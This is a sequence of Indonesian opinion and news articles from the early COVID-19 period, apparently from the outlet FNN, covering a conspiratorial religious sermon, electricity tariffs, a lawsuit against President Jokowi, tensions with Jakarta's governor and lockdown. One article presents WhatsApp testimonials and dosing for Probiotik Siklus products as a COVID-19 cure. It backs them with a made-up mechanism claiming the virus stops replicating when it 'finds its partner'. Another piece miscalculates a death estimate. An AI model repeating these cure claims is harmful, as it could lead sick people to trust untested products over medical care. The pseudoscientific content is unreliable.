mewujudkan agendanya yang selalu hanya mereka dasarkan pada nilai material (metode penilaian kuantitatif). Agenda Pengendalian Populasi ini bersifat pragmatis tanpa memperdulikan nilai-nilai moral (penilaian kualitatif). Saat ini, di seluruh dunia, generasi muda, apapun agama dan ideologinya, sedang mengalami "cuci otak”. Serempak diajak mengikuti seluruh agenda global demi mewujudkan Peradaban Global. Jika saja kita bijak membaca tanda-tanda zaman, jelas semua yang baru saja kita baca ini melawan kehendak Tuhan. Dan resikonya jelas. Bagi mereka yang setia kepada Tuhan akan terus ditekan dan disingkirkan. Sedangkan yang bersedia kompromi dengan keinginan dunia, akan diberi tempat dan didukung HABIS-HABISAN. Bersiaplah. Jika tidak dicegah, peradaban global akan segera berdiri di muka bumi ini. Tidak lama lagi. Apa yang sedang terjadi sekarang diizinkan Tuhan untuk memisahkan manusia dari dunia palsu yang sedang dibangun. Atas seizin-Nya, dengan situasi saat ini, manusia hendaknya mulai berpikir tentang keselamatan. Sadar bahwa kematian bukan tentang kematian tubuh yang sementara, tetapi kematian jiwa yang sifatnya kekal. Ini bukan main-main. “Heaven is real and so is hell. Jangan sudi dijadikan tumbal”. Ini seharusnya kita maknai sebagai peringatan yang sangat keras dari Tuhan. “Segera berpaling dari hidup yang bergelimang dosa”. Saat ini, dunia butuh seseorang yang berani memperkatakan bahwa dunia harus segera bertobat. Dan sebagai bagian dari dunia, demikian pula dengan Indonesia, kita dukung pemimpin kita agar dengan keteladananannya mampu membuat sebuah kegerakan “mengajak rakyat bertobat”. Hanya ini kunci utama (master key) yang akan menyingkirkan wabah yang sedang terjadi, yang melumpuhkan kita semua di beberapa waktu terakhir ini. Momen inilah kesempatan yang Tuhan berikan bagi kita semua untuk segera berpaling kepada-Nya. Menempatkan Tuhan sebagai Pemimpin yang tidak diganggu kedaulatan-Nya. Ia menunggu, Ia sudah sangat rindu kita berbalik, memberi respons yang tepat. Dan yang bijaksana hendaklah ia mendengarkan dan mengubah cara hidupnya. Nuswantara Nu: Makhluk Swa: Mandiri Anta: Menuju Ra: Tuhan Kembali fitrah, menempatkan Tuhan Yang Maha Esa menjadi sumber utama dari segala sumber kehidupan kita semua. Nuswantara, inilah peradaban yang fitrah. “Bangkit. Indonesia bangkit. Bangsa pemenang, bahkan lebih dari pemenang”. Viva Republik Indonesia #gerakanindonesiajemurpagi

Testimoni (2): Tunjang Kesehatan, Pasutri Dokter Konsumsi Probiotik Siklus

Oleh Mochamad Toha Surabaya, FNN - Selama ini yang sudah konsumsi varian Probiotik Siklus (PS) ternyata bukan hanya sebatas anggota Grup Probiotik Siklus (GPS) saja. Dari kalangan paramedis, seperti dokter pun ada yang sudah dan mulai konsumsi PS. “[26/3 22:42] +62 815-7927-XXX: Sy mau berbagi info bahagia. Setidaknya usaha sy ada hasilnya.” “Bbrpa hari yll sy sempat sampaikan di sini, teman sy yg suami istri dokter. Suaminya sempat demam 5hr plus batuk2, 3 hr nya sempat tangani covid. Sy sarankan pakai g10+bio imun plus biosel utk anak2nya dan pengharum ruangan.” “Alhamdulillah hari berikutnya kondisinya membaik. Target sy adl bagaimana agar mereka berdua (krn kedua nya dokter praktek di RS di Jkta) bs menjadi wasilah u penyebaran PS ini utk menyelamatkan byk nyawa.” “Alhamdulillah masya Allah, atas pertolongan Allah, kmd atas doa dr teman2 semua, stlh melalui diskusi yg ckp panjang, berbalas WA, dgn sedikit pemahaman yg sy miliki, alhamdulillah mereka paham dan bs menerima teori ini.” “Dan skrg keduanya ingin mempromosikan produk ini ke rekan2 sejawatnya (untuk bs mengatasi kondisi saat ini).” “Mohon doanya terus agar usaha ini membuahkan hasil. Sangat berharap sekali kondisi saat ini tidak semakin memburuk dan bisa berangsur membaik.” “[26/3 22:47] Formulator: Alhamdulillah, dengan ketelatenan kita semua, secara perlahan teori ini akan bisa diterima dan terbukti kebenaran-Nya.” “PS itu kebenarannya alamiah, obyektif ....dan bahkan ada yg bilang absolut, karena sesuai sunnah Nya.” “Penggunaan PS untuk teman yg dari zona merah covid 19. Teman kantor ada acara dinas di malang pada tgl 10 - 11 Maret 2020. Pada tgl itu berkunjung ke mall dan pertokoan. Tgl 18 Maret mengalami flu berat, batuk, badan panas, lemes, tenggorokan sakit.” “Periksa dokter diberi obat. Tgl 23 Maret periksa ke puskesmas dan dinyatakan sebagai ODP dia harus isolasi diri selama 14 hari, dan tgl 23 Maret itu juga disamping minum obat dari Puskesmas juga minum biosyafa: “G17 dosis 3x3 sendok, bioimun 3x1 sendok, biozime super 10 tetes. Alhamdulillah ternyata perkembangannya bagus.” “Tgl 25/3 10.04 Badan sudah enakan Pak,,,tidak demam, tenggorokan sudah jauh membaik, batuk masih, pilek masih, tp sudah jauh membaik jg dr sebelumnya. Tidak ada sesak, nafsu makan mulai naik.” “Tgl 25 Maret malam. Alhamdulillah Pak baikan. Batuk msh ada, pileknya agak berkurang. Tgl 26 Maret, alhamdulillah baik Pak...” “Tgl 27 Maret. Sudah jaraaaaaang sekali pak batuk sm pileknya. Paling kalau malam saja, itupun tdk parah... Tenggorokan sudah biasa saja... Ini info ybs langsung.” “Terima kasih biosyafa. Semoga menjadi solusi dari wabah Corona ini.” [20:28, 3/27/2020] +62 878-8678-2xxxx: Assalamu'alaykum.. Sy Safa..Kami tinggal di Jakarta." "Suami kadang pulang dari kerja tiba2 batuk, flu, demam. Langsung saya kasihkan biozime super 10 tetes plus g12 2 sendok takar. Paginya alhamdulillah udah lebih baik. Masih ada sedikit batuk, flu dan demam, saya kasihkan terus biozime super 5 tetes dan g12 2 sendok takar sampai sehat. Alhamdulillah cepat masa recovery-nya." "Saya pun sempet ketularan juga. Batuk, demam, tenggorokan gatal. Langsung aja minumin biozime super dan g12 saat terasa gejala. Alhamdulillah langsung enakan setelah minum." "[20:30, 3/27/2020] +62 878-8678-2xxx: Sempet saya dan suami agak sesak nafas juga..Rada panik saat itu.. tapi langsung tenggak biozime super dan g12. Kalo dgn g10 di saya kurang nendang 😁" Perlu diketahui, G8 adalah bakteri komunitas dengan jumlah ribuan strains bakteri tanah (hingga 7500 strains) dan didominasi oleh “sekumpulan bakteri negatif” yang dibutuhkan oleh tubuh. Pada saat virus – termasuk diantaranya corona – dihadirkan G8, maka – virus ini berasumsi yang dihadirkan di G8 adalah kawan-kawan mereka. Sehingga “virus tidak lagi merasa diserang, tidak lagi merasa disakiti, tidak lagi merasa terancam keberadaannya.” Yang terjadi kemudian, bersama-sama dengan sekumpulan bakteri lengkap pada G8, mereka akan hidup normal, berkembang dan regeneratif sesuai fitrahnya. Keseimbangan Mikrobiota. kemudian yang terjadi. Nah, pada saat semua seimbang, selesai sudah masalah karena tidak lagi ada yang terlalu dominan, tidak lagi ada ketimpangan. Bagaimana cara kerjanya? Ustadz Ali Athwa yang menjadi Tim Probiotik Siklus menjelaskan bagaimana cara kerjanya. Pada dasarnya, semua ciptaan Allah SWT itu diciptakan dalam keadaan berpasang-pasangan. Manakala tidak ada pasangannya, mereka akan gelisah, lalu mereplikasi dirinya semaximal mungkin. Hal itu dilakukan karena adanya ketakutan/kegelisahan mereka. Dengan menyemprotkan cairan ber-Probiotik Siklus ini di bagian luar tubuh manusia, maka membuat mereka tidak resisten dan tidak berkembang biak terus menerus. Dengan memasukkan BioSyafa – ssalah satu vqarian produk Probiotik Siklus – ini ke dalam tubuh penderita, maka si cantik Corona itu akan menemukan pasangannya, sehingga mereka merasa aman, dan tidak akan melakukan proses regeneratif lagi. “Mereka merasa nyaman, lalu secara bertahap akan menjadi bagian dari mikrobioma tubuh kita,” ungkap Ustadz Ali, mantan wartawan Suara Hidayatullah. Menurut Ustadz Ali, mereka menjadi mematikan dan sangat ganas, karena ketakutannya akan keberlangsungan hidupnya di dunia akan berakhir, makanya mereka berusaha sekuat-kuatnya mempertahankan keberadaan nya di muka ini. Kalau terjadi di dalam tubuh, terutama di saluran pernafasan, mereka akan mengalami proses regenerasi yang sangat cepat. Itu dilakukan sebagai bentuk usahanya untuk mempertahankan kehidupannya. Dalam proses itulah muncul cairan, sebagai tempat hidup mereka. Hanya saja, cairan tempat hidup mereka itu, bersifat toksik bagi tubuh manusia, sehingga merusak mukosa saluran pernafasan, dan sampai ke paru-paru, merusak paru-paru, lalu paru-paru kaku, tidak bisa bergerak secara leluasa, akibat nafasnya sesak, maka gagal nafas. Dengan memasukkan BioSyafa ini ke tubuh kita, maka si cantik Corona itu sebagian besar akan menemukan pasangannya, sehingga mereka tidak regeneratif lagi, dan bersifat tidak menyakiti lagi. Sisanya, akan dikoloni oleh probiotik yang lainnya. Jadi, tidak bersifat membunuh mereka, tetapi menjadi sahabat mereka, dan mengajak kembali ke habitat dan sifat alamiahnya. Probiotik Siklus BioSyafa ini, menyelesaikan kasus ini, pada sumber masalahnya, yaitu sang pelaku proses penyerangan ini, dan tidak bersifat mematikan mereka. Adapun beberapa obat atau herbal atau jamu yang sering disebut sebagai anti virus atau anti corona, mayoritas sebagai suplemen, yang akan memperkuat daya tahan tubuhnya, bukan pada akar permasalahannya. “Saya haqqul yakin, corona bisa kita selesaikan dalam hitungan hari,” tegas Ustadz Ali. (Bersambung). Penulis Wartawan Senior

Habis Diskon Tarif Listrik Naik?

Pemberian diskon harus merata dan adil. Sebab, tidak sedikit pelanggan 900VA yang secara ekonomi mampu berlangganan 1300VA dan bahkan 2200VA. Misalnya, mempunyai kontrakan rumah puluhan pintu. Oleh Mangarahon Dongoran Jakarta, FNN - KEPUTUSAN pemerintah yang akan meringankan tagihan listrik untuk pelanggan 450VA dan 909VA harus diapresiasi, meskipun belum adil. Diapresiasi karena keputusan itu jelas membantu ekonomi rakyat yang semakin sulit akibat virus China atau virus corona (Covid-19). Ekonom senior Rizal Ramli yang selama ini dianggap "musuh" pemerintah terutama pendukung Joko Widodo dan Basuki Tjahya Purnama (Ahok) bahkan memuji langkah pemerintah tersebut. Ia menyebutkan keputusan pemerintah itu diharapakan dapat membantu golongan masyarakat menengah ke bawah. Sebagaimana diumumkan Presiden Joko Widodo, 24 juta pelanggan listrik 450VA akan gratis alias tidak bayar selama tiga bulan ke depan. Sedangkan 7 juta pelanggan 900VA akan mendapatkan diskon 50 persen. RR cukup fair dalam menyikapi keputusan pemerintah tersebut, meski tetap dibumbui kritiknya dari sisi defisit APBN. Bagi saya, kritik RR itu wajar saja, mengingat dia adalah ekonom senior yang setiap waktu berkutat dengan angka-angka yang berkaitan dengan ekonomi, pembangunan dan sosial. Meski memuji langkah pemerintah dalam hal tarif listrik golongan 450VA dan 900VA, RR kecewa karena pemerintah lebih memilih defisit Anggaran Pendapatan dan Belanja Negara menjadi 5,07 persen ketimbang mengalihkan dana infrastruktur untuk menanggulangi dampak corona. Sebab, dengan defisif dari 3% menjadi 5,07 persen itu sama saja artinya akan menambah utang dan 'cetak uang' dengan bungkus recovery bond. "Nilai rupiah akan semakin jatuh," kata RR. Jika RR kecewa seperti itu, saya juga dan mungkin Anda kecewa karen pelanggan 1300VA dan 2200VA sama sekali tidak tersentuh dalam keputusan pemerintah itu. Saya adalah salah satu dari pelanggan 2200VA. Mestinya kebijakan pemerintah harus adil dengan memberikan diskon yang merata. Menurut yang saya baca, pelanggan 1300 VA dan 2200 VA dikategorikan rumah tangga kecil. Mungkin pelanggan golongan ini rata-rata masuk ekonomi menengah. Tidak menutup kemungkinan secara ekonomi sekarang dan ke depan, atau mungkin juga sebelumnya, sudah masuk kategori golongan masyarakat bawah. Mengapa golongan pelanggan 1300VA dan 2200VA banyak yang masuk ke golongan ekonomi bawah dan belum menurunkannya ke 900VA? Tentu banyak faktor. Pertama, banyak pelanggan 1300VA dan 2200VA yang pensiun atau pun kena Pemutusan Hubungan Kerja (PHK). Kedua, banyak kegiatan usaha rumah tangga yang gulung tikar. Ketiga, kegiatan ekonomi dalam lima tahun terakhir, terutama dua tahun terakhir (2018 dan 2019) turun drastis (pertumbuhan ekonomi nasional pun stagnan pada kisaran lima persen). Mengapa tidak menurunkan daya? Mungkin dengan pertumbuhan ekonomi nasional yang diperkirakan hanya satu persen baru banyak yang akan menurunkannya. Bahkan, jika skenario terburuk pertumbuhan ekononi menjadi 0% (nol persen), mudah-mudahan tidak sampai minus, akan banyak pelanggan 1300VA dan 2200VA yang selain menurunkan dayanya, juga mungkin menunggak dan malah listriknya dicabut oleh PLN. Mestinya, dalam keputusan pemerintah itu merata. Merata dalam arti paling tidak sampai golongan 2200VA mendapatkan diskon atau potongan tarif. Jika golongan 900VA mendapatkan diskon 50 persen, alangkah adilnya golongan 1300VA mendapatkan diskon 40 persen dan golongan 2200VA mendapatkan diskon 30 persen. Juga golongan di atas 2200VA yang masuk kategori rumah tangga supaya mendapatkan diskon yang pantas dan wajar, sehingga ada unsur pemerataan yang adil. Bisa juga mendapatkan diskon 50 persen walau hanya dua0 bulan atau bahkan satu bulan. Mengapa saya minta seperti itu? Mohon maaf kepada pelanggan 900VA yang jujur ya. Banyak juga pelanggan golongan ini yang tidak jujur. Punya penghasilan melebihi pelanggan golongan 1300VA dan bahkan 2200VA, tapi tidak mau menaikkannya. Tarif Listrik Naik? Bahkan, ada yang memiliki kontrakan puluhan pintu, tapi di rumahnya tetap 900VA. Tidak hanya itu, ada juga yang tadinya memiliki rumah satu atau dua saat membeli dari developer. Akan tetapi, berusaha tetap 900VA dengan cara membuat dua meteran. Selain meminta pemberian diskon yang adil, saya juga meminta ketegasan dari pemerintah agar tidak menaikkan tarif listrik. Sebab, selama ini, yang menjadi inceran kenaikan tarif listrik adalah golongan 1300VA ke atas. Saya khawatir, kebijakan memberikan gratis bagi pelanggan 450VA dan diskon 50 persen bagi pelanggan 900VA akan disusul dengan kenaikan tarif di atas 1300VA setelah empat bulan, lima bulan, enam bulan dan seterusnya sejak masa gratis dan diskon berakhir. Saya sangat khawatir kenaikan itu terjadi mengingat keuangan PLN yang terus merugi dan banyàk utang. Utangnya akan semakin berat ketika rupiah terus terpuruk, karena banyak pinjaman perusahaan plat merah itu dalam bentuk dolar Amerika Serikat. Tentu kita berharap masalah yang dihadapi PLN tidak dibebankan kepada pelanggannya. Akan tetapi, yang dihadapinya benar-benar berat. Di satu sisi tidak bisa menaikkan tarif listrik, sementara di sisi lain kebutuhan pendanaan terus meningkat. Sedangkan pemerintah akan menghadapi kesulitan fiskal jika harus menambah subsidi. Kecuali, menambah utang lagi...utang lagi dan utang lagi. ** Penulis adalah Wartawan Senior.

Corona Membuat Jokowi Digugat Enggal ke Pengadilan

By Luqman Ibrahim Soemay Jakarta, FNN – Rabu (01/04). Teror virus Corona di Indonesia memasuki babak baru. Seorang pemuda bernama Enggal Pamukty mewakili kelompok UMKM (pedagang eceran) mengajukan gugatan Class Action kepada Presiden Jokowi. Enggal menganggap orang nomor satu di Indonesia tersebut telah melakukan kelalaian fatal yang mengancam nyawa 260 juta rakyat Indonesia. Gugatan Enggal didaftarkan di Pengadilan Negeri Jakpus pada hari Kamis 1 April 2020. Ditemui seusai pendaftaran gugatan di PN Jakpus, saudara Enggal mengkonfirmasi pernyataan tersebut. "Kabar itu betul. Bahwa saya menggugat Presiden Jokowi karena kelalaiannya yang fatal dalam penanganan teror virus Covid-19, “ujar Enggal. Enggal mengatakan, bahwa tindakan dan langkah-langkah yang dilakukan pemerintah pusat sejak awal dalam menghadapi ancaman virus corona merebak di Wuhan Cina “sangat melecehkan akal sehat”. Juga sangat membahayakan nyawa jutaan rakyat dengan kebijakan yang gila dan primitif. Misalnya, dengan program mendatangkan turis saat teror Covid-19 masih berlangsung. Begitu juga dengan kebijakan mendatangkan Tenaga Kerja Asing (TKA) China yang ilegal itu. "Tiongkok sejak awal berani menutup Kota Wuhan dan sekaligus Provinsi Hubei yang berpenduduk 54 juta untuk memerangi teror virus Covid-19. Langkah penutupan itu tanpa memikirkan kerugian ekonomi. Bagi pemerintah Tiongkok nyawa rakyatnya jauh lebih daripada investasi. Ini yang tidak kita lihat pada kebijakan pemerintah Jokowi. Jokowi lebih mementingkan kepentingan investasi dan pariwisata di saat wabah dahsyat Covid-19. Langkah ini bukan hanya melecehkan akal sehat, tetapi juga mendatangkan malapetaka besar bagi bangsa Indonesia. Kita Indonesia jadi bahan olok-olokan dunia Internasional. Sebab pada saat yang sama, negara-negara lain di dunia justru menutup negaranya dari masuknya turis. Seperti diketahui, teror virus Covid-19 menjadi isu nomor wahid di seluruh dunia. Kedahsyatannya digadang-gadang sebagai wabah terbesar dalam sejarah modern umat manusia. Bermula dari kota Wuhan di Provinsi Hubei, Tiongkok. Kini virus corona sudah menyebar ke hampir 200 negara di dunia. Jumlah korban yang terjangkit lebih dari setengah juta kasus, dengan memakan korban jiwa 20.000 orang yang meninggal, hanya dalam 3 bulan. Teror Covid-19 juga telah membuat ekonomi banyak negara terpuruk. Termasuk Amerika Serikat selaku negara adidaya nomor satu dunia. Ancaman resesi sudah semakin mendekat di depan. Sangat sulit untuk bisa dihindari. Pertumbuhan ekonomi Indonesia juga bakal mengalami tekanan yang keras. Sejak awal Tiongkok menyadari bahwa satu-satunya cara menghentikan teror Covid-19 adalah dengan mengisolasi penduduk secepat mungkin. Kecepatan bertindak, kedisplinan serta tidak menganggap enteng ancaman virus corona menjadi rumus paten sejak awal. Begitu seriusnya pemerintah Tiongkok menerapkan rumus tersebut, hingga tak segan-segan untuk mengkarantina satu Provinsi Hubei, yang berpenduduk 54 juta selama hampir dua bulan. Tentu dengan kerugian ekonomi luar biasa besar. Dengan rumus di atas, Pemerintah Tiongkok berhasil menghindarkan rakyatnya dari malapetaka dan ancaman nyawa yang besar. Grafik kasus juga menurun drastis. Bahkan pernah menyentuh angka 0 kasus selama 3 hari beruntun. Kini rumus penanganan teror Covid-19 di Tiongkok telah dibagikan ke seluruh dunia dan menjadi pedoman semua negara. Sebagai pekerja harian, saya sangat merasakan dampak dari lambannya penanganan Pemerintah Pusat terhadap ancaman corona ini. Kalau saja Pemerintah Pusat sejak awal serius menangani teror Covid-19 ini, tentu saya dan kawan-kawan pedagang eceran dan UMKM masih bisa mencari nafkah sehari-hari. Lambannya penanganan oleh Pemerintah Pusat ini jadi bikin kami kehilangan pendapatan. Sementara pemerintah belum juga kasih solusi bantuan seperti apa kepada kami. Saya kecewa melihat awal-awal teror Covid-19. Sebab di televisi saya melihat ada menteri yang bisa becanda-canda. Sekarang kalau sudah begini pendapatan kami menurun sangat drastis. Bagaimana nasib kami? Menjawab pertanyaan tentang kemungkinan akan menarik gugatan karena intimidasi pihak-pihak yang tidak senang dengan gugatan tersebut, Enggal menegaskan tidak akan mundur. “Saya tidak akan pernah mundur karena didukung mulai dari para dokter, perawat, ojol, taksol, pedagang-pedagang kaki lima”. “Mereka semua mendukung saya menggugat Jokowi, karena mereka pun terancam periuk nasinya. Jadi sampai titik darah penghabisan kita akan tuntut pemerintah untuk bertanggungjawab atas kerugian kami semua,“ kata Enggal. Penulis adalah Wartawan Yunior

Mengkudeta Anies Baswedan?

Oleh Hersubeno Arief Jakarta, FNN - Di media sosial, dalam beberapa hari terakhir berkembang spekulasi politik tingkat tinggi. Pemerintah pusat. Presiden Jokowi dan para pembantunya, dituding sedang menyusun plot “kudeta” terhadap Gubernur DKI Anies Baswedan. Posisi Jakarta sebagai episentrum penyebaran wabah Covid-19, menjadi momentum yang sangat tepat mempercepat kejatuhan Anies. Indikatornya semua kebijakan Anies alih-alih didukung, tapi malah disabot, diaborsi. Buzzer pemerintah secara sistimatis menghajar Anies dari berbagai penjuru. Tak kenal ampun. Perbincangan di berbagai WAG, beberapa akun anonim maupun real, menyebar info tersebut, tanpa jelas kebenarannya. Hanya menyebutnya dengan embel-embel A-1. Sekedar untuk meyakinkan bahwa info itu valid. Satu hal yang pasti, intelektual NU yang mulai tak muda lagi, Ulil Abshar Abdalla secara guyon menyebut mereka seperti pasangan suami istri, tidak akur. "Jadi mestinya penanganan di daerah ini mesti serius. Pemerintah pusat dan Pemda DKI harus "rukun, mawaddah wa-rahmah”," kata Ulil. Kosa kata itu sering digunakan untuk menggambarkan rukunnya pasangan suami istri yang dianjurkan oleh agama. Anies, dalam penilaian politisi Partai Demokrat itu sejak awal sudah serius menangani. Tapi oleh pemerintah pusat malah dituding “mencari panggung.” Sejak merebaknya virus Corona, aroma persaingan antara Istana Merdeka dan Kantor Gubernuran DKI kian terasa. Soal ini sebenarnya tidak terlalu mengagetkan. Sudah berlangsung sejak Anies terpilih menjadi Gubernur DKI (2017). Namun intensitasnya menjadi semakin tinggi, bersamaan dengan masuknya penyakit impor dari China itu. Banyak yang menyebutnya seperti matahari kembar. Yang satu terbit di Jalan Merdeka Utara, dan satunya lagi mulai bersinar terang di Jalan Merdeka Selatan, Jakarta. Para buzzer pemerintah secara terbuka menyerang Anies. Cari panggung dan bahkan mencuri panggung. Dia dianggap melampaui kewenangannya. Bertindak seolah seperti seorang presiden. Berbagai langkah Anies mengatasi penyebaran virus dikritisi, dinegasi, bahkan sampai ada yang mau demonstrasi. Bersamaan dengan itu pemerintah pusat mengaborsi. Berkali-kali Dibatalkan Masih ingat ketika Anies melakukan pembatasan jam operasional transportasi umum MRT dan Bus Trans Jakarta? Langkah itu merupakan tindak lanjut instruksi Presiden. Minggu (15/3) dari Istana Bogor, Jokowi menyerahkan kebijakan penanganan Corona ke pemerintah daerah. Selain meliburkan sekolah dan kampus, merumahkan pegawai negeri, Jokowi juga meminta pembatasan kegiatan yang melibatkan massa dalam jumlah besar. MRT dan Trans-Jakarta merupakan alat transportasi yang selalu dipadati penumpang. Pada pagi hari dan jam pulang kerja, penumpang berjubel. Mereka berhimpitan seperti ikan pindang. Jika ada yang positif, dijamin langsung menular. Kecaman muncul dari berbagai penjuru. Sekelompok pendukung pemerintah pusat mengancam menggelar unjukrasa ke Kantor Gubernur DKI. Anies dituding menyebar ketakutan. Menakut-nakuti rakyat. Jokowi segera memerintahkan Anies mengembalikan jam operasional seperti semula. Apa boleh buat, Anies harus membatalkan keputusannya. Presiden pada hari Senin (30/3) meminta para kepala daerah mengambil langkah tegas membatasi pergerakan orang ke daerah. Langkah tegas itu diperlukan untuk mencegah penyebaran virus Covid-19 ke daerah. Kebijakan yang tepat. Apalagi Jokowi punya data dan catatan lengkap, jumlah kendaraan umum yang keluar Jakarta. Dalam sepekan terakhir 876 armada bus meninggalkan kawasan jabodetabek. Jumlah penumpang 14 ribu orang. Ngeri sekali! Kawasan Jabodetabek, khususnya Jakarta adalah episentrum pandemi Covid-19. Bisa saja diantara belasan ribu orang itu ada yang sudah terpapar dan positif. Gubernur Jawa Tengah Ganjar Pranowo mencatat sampai saat ini sudah 60 ribu warganya kembali. Beberapa diantaranya sudah dinyatakan positif Corona. Apa artinya? Virus itu akan menyebar bersamaan dengan kedatangan warga ke daerah. Mereka bisa menulari keluarga inti, saudara, dan tetangga terdekat. Mereka yang positif ini menulari lingkaran terdekat, dan seterusnya. Maka terciptalah episentrum baru. Jumlahnya bisa jauh lebih besar dibandingkan Jakarta. Provinsi seperti Jabar, Jateng, Jatim jumlah penduduknya sangat besar, rentan dan potensial tertular. Banyak warganya yang mencari nafkah di kawasan Jabodetabek. Kalau sampai hal itu terjadi, malapetaka tercipta. Fasilitas kesehatan, daya dukung tenaga medis, jelas tak sebanding dengan Jakarta. Belum lagi akses kesehatan dan transportasi yang sulit terjangkau. Jakarta saja kewalahan, konon pula daerah? Ketua Gugus Tugas Percepatan Penanganan Corona Letjen Doni Monardo minta warga di tingkat kelurahan dan desa meminjamkan rumahnya. Digunakan untuk isolasi pendatang dari luar daerah maupun luar negeri. Apa artinya? Pemerintah sudah mengakui mereka tak sanggup menyediakan fasilitas tanpa bantuan masyarakat. Gubernur DKI Jakarta Anies Baswedan langsung bergerak cepat. Dia melakukan rapat koordinasi dengan instansi terkait, termasuk Dirjen Perhubungan Darat. Keputusannya terhitung Senin (30/3) pukul 18.00 WIB operasional Bus Antar Kota Antar Provinsi (AKAP) distop! Hanya beberapa jam akan diberlakukan, keputusan itu diaborsi. Tiba-tiba datang keputusan dari Menhub Ad interim Luhut Panjaitan. Keputusan Anies dibatalkan dengan alasan masih harus dikaji lagi dampaknya. Coba bayangkan. Instruksi Presiden, ditindaklanjuti dan dilaksanakan Gubernur, tapi dibatalkan oleh Luhut. Kasus terbaru, permohonan lockdown wilayah di Jakarta ditolak. Presiden malah memilih Pembatasan Sosial Berskala Besar (PSBB). Bersamaan itu pemerintah akan menggunakan pendisplinan hukum. Polisi akan membubarkan kerumunan massa. Sikap pemerintah pusat terhadap Anies, sangat berbeda dengan beberapa kepala daerah lain. Mereka relatif bebas mengambil kebijakan lockdown, tanpa khawatir disemprit, apalagi dibatalkan pemerintah pusat. Dengan fakta-fakta tersebut, Anies terkesan menjadi target. Dibelenggu. Kewenangannya dibatasi. Sebagai penguasa daerah, dia tidak bisa leluasa bertindak, sementara situasinya sudah darurat tinggi. Nyawa mulai berjatuhan. Anies menyebutkan, sampai saat ini setidaknya sudah 283 orang warga DKI yang meninggal dunia. Mereka dimakamkan dengan protokol Covid-19. Anies tidak secara langsung menyebut mereka wafat karena Covid-19. Angka yang disebutnya jauh lebih tinggi dibandingkan data resmi pemerintah. “Baru” 122 orang. Anies tampak tercekat ketika menyampaikan data itu. Suaranya bergetar. " 283 itu bukan angka statistik. Itu adalah warga kita yang bulan lalu sehat... Yang bulan lalu bisa berkegiatan,“ ujarnya. Situasi di Jakarta terkait dengan Covid-19, kata Anies, sudah amat mengkhawatirkan. Sampai kapan Anies akan bertahan? Menghadapi tekanan harus menyelamatkan nyawa warganya. Mencegah jatuhnya korban yang lebih besar sampai ke daerah-daerah. Namun kebijakannya tak didukung. Disalahkan. Diaborsi. Dibatalkan. Meminjam analogi yang pernah digunakan oleh ulama besar Buya Hamka, posisi Anies seperti kue bika. Dibakar dari atas dan bawah. Apa itu bukan “kudeta” secara halus? End Penulis Wartawan Senior.

Coronavirus, Lockdown, dan Ironi Negeri Muslim Terbesar

Oleh Harun Husen Jakarta, FNN - Di laman Newsweek, 17 Maret, seorang profesor, Dr Craig Considine, menulis sebuah artikel menarik. Judulnya, “Can the Power of Prayer Alone Stop a Pandemic like the Coronavirus? Even the Prophet Muhammad Thought Otherwise”. Artikel itu tentang wabah coronavirus, yang kini telah menjadi pandemi global. Editor Newsweek, memberi artikel itu ilustrasi Ka’bah dan pelatarannya yang putih susu. Pada dua paragraf awal Dr Craig membahas tentang pandemi global Covid19 dan cara membendungnya. Para ahli imunologi seperti Dr Anthony Fauci dan Dr Sanjay Gupta, tulisnya, menyatakan bahwa cara paling efektif untuk mengatasinya adalah dengan menjaga kebersihan, melakukan karantina, dan mengisolasi diri dari orang lain. Para paragraf ketiga, dia menyampaikan sebuah pertanyaan. Sebenarnya lebih merupakan pernyataan. Berkata Dr Craig, “Taukah Anda siapa lagi yang menyarankan menjaga keberhasihan dan karantina selama pandemi berlangsung?” “Muhammad, Nabi umat Islam, lebih dari 1.300 tahun silam,” tulisnya. Nabi Muhammad, Dr Craig menambahkan, bukanlah seorang ahli tradisional dalam soal penyakit mematikan. Namun, tulisnya, “Nabi Muhammad telah menyampaikan nasihat yang sangat baik untuk mencegah dan memerangi perkembangan [penyakit mematikan] seperti Covid19.” Dr Craig kemudian mengutip hadits yang dia maksud. “Muhammad bersabda: ‘Jika engkau mendengar wabah melanda suatu negeri, jangan memasukinya; tetapi jika wabah itu menyebar di suatu tempat sedang engkau berada di dalamnya, jangan tinggalkan tempat itu’.” Yang dikutip Dr Craig adalah hadits shahih yang diriwayatkan Bukhari dan Muslim. Kisah lengkap tentang hadits ini, yang berkaitan dengan peristiwa di zaman Khalifah Umar, lihat pada tulisan “Lockdown Era Umar bin Khattab”. Masih mengutip hadits, Dr Craig –yang belum lama ini menulis buku berjudul “Humanity of Muhammad: A Christian View” (Blue Dome Press, 2020)– menulis: “Dia (Nabi Muhammad) juga berkata: ‘Mereka yang telah terinfeksi penyakit menular, harus dijauhkan dari yang sehat’.” Ini juga hadits shahih yang diriwayatkan Bukhari dan Muslim, dari Abu Hurairah. Formulasi lain hadits ini dalam bahasa Indonesia, adalah “Janganlah yang sakit dicampurbaurkan dengan yang sehat.” Sekarang semua anjuran Nabi tersebut, secara kebetulan telah menjadi jurus banyak negara dalam menghadapi pandemi global coronavirus. Mulai dari negara komunis, Hindu, Kristen, Katolik, liberal, sekuler, dan lain-lain, melakukan lockdown. Ironisnya, Indonesia yang merupakan negara mayoritas Muslim, justru mengabaikan pesan Sang Nabi. Alih-alih, kita malah melakukan langkah sebaliknya. Saat Cina sedang diharubiru coronavirus, yang memaksa negara itu melockdown Wuhan hingga menutup Kota Terlarang, kita (kita?) malah mengundang turis masuk ke negara ini, bahkan dengan iming-iming diskon. Kedua, saat orang terinfeksi mulai ditemukan, kita sama sekali tidak mau melakukan karantina wilayah. Akibatnya, kini virus telah menyebar di sebagian besar provinsi di Indonesia. Yang terinfeksi dan meninggal semakin banyak. Saat situasi semakin buruk, malah terdengar skenario melakukan herd immunity. Skenario yang seakan menyerahkan anak bangsa ini menjadi hidangan virus korona. Silakan bertarung sendiri melawan virus itu melalui mekanisme seleksi alamiah. Survival of the fittest. Sejak lama, para ahli menyatakan mortality rate virus ini adalah dua persen. Jadi, peluang Anda hidup adalah 98/100. Pastikan saja anda tidak termasuk yang dua persen. Lalu, berapa dua persen orang Indonesia? Sekarang penduduk kita sekitar 270 juta. Kalau skenario herd immunity benar-benar tega dijalankan, maka yang akan mati adalah sekitar 4,5 juta orang. Seberapa banyak itu? Bayangkan saja Singapura dijatuhi bom atom, dan seluruh penduduknya mati. Sebanyak itulah nanti yang mati. Itu pun kalau benar-benar dua persen saja yang mati. Sekarang, berdasarkan data Worldometer sampai dengan Sabtu sore ini, kasus positif coronavirus berjumlah 601.010, dengan tingkat kematian 27.432, atau 4,56 persen. Lalu bagaimana kalau tingkat kematian herd 